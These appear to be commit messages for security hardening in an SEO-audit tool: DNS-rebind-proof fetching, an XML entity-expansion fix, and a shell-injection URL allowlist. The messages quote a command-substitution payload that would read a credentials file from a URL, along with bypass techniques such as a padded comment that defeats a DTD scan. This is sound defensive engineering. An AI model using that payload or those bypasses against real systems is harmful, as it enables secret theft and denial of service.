By-principle hardening. H1's url-guard validates the NAME; urlopen then resolved
AND connected — two DNS lookups with a window a hostile authority uses to answer
PUBLIC to validation and PRIVATE (169.254.169.254 metadata, 127.0.0.1, the LAN)
to the connect. A name-level guard cannot see that rebind.
safe_fetch collapses the two lookups into one: resolve ONCE, validate every IP
(ipaddress, dual-stack v4+v6), refuse if ANY is non-public (the multi-A vector),
connect to the exact validated IP with Host+SNI+cert for the real host — no
second resolution to poison. Redirects re-validate each hop (urlopen followed
them blind). One seam: sitemap._fetch, which linkgraph/render_check/drift all
call, so every network verb inherits it.
The load-bearing property (confirmed by the security review): classification is
on the OS-resolved address (sockaddr[0]), never the URL text — so octal/hex/
decimal literals, IPv4-mapped IPv6, NAT64, 6to4 are all defeated structurally,
not by enumeration.
Better than the source idea (claude-seo url_safety.py, MIT): dual-stack (theirs
IPv4-only), no global monkeypatch so thread-safe by construction (theirs locks a
patched getaddrinfo), stdlib-only (no requests). Proven end-to-end before
writing: pinned connect keeps SNI+cert for the real host.
NOT covered, stated not silent: shell `curl` in the agent specs (separate
process, unpinnable here). Smaller surface; `curl --resolve` is a separate change.
REVIEW-SURFACED (fresh security-auditor, adversarial, VERDICT PASS) — two real
holes it found while attacking the diff, both fixed here:
- billion-laughs REOPENED in C1b: _refuse_dtd scanned only raw[:4096], so a
>4KB leading comment pushed <!DOCTYPE past the window while ET parsed AND
EXPANDED the entities. Proven (&lol2; → "lollollollollol"), now a full-doc
case-insensitive scan. This is a genuine fix to already-merged C1b, not this
feature — fixed here rather than filed, per root-cause discipline.
- 192.88.99.0/24 (6to4-relay anycast) passed is_global as public — added to an
extra special-use deny list.
Verified: rebind-to-metadata refused BEFORE any connect (injected resolver),
multi-A public+private refused, classifier fuzzed dual-stack incl. CGNAT/6to4,
non-http scheme refused, both review fixes proven with no false positive; real
fetch still works (zenquality 86 loc, lavageangels 24) through the pinned path;
all 4 verbs work end-to-end via fetch.sh; seo-data 210 → 221 pass, 0 fail; full
suite green; shellcheck + py_compile clean.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
Bastien Chanot